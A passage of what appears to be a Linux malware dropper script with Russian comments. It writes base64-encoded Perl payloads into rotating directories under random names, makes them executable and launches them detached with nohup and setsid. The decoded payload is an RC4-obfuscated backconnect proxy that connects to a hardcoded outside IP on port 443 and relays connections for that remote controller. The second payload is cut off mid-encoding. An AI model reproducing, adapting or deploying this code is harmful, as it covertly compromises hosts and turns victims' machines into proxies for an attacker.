ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #42 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #42 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 43 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ 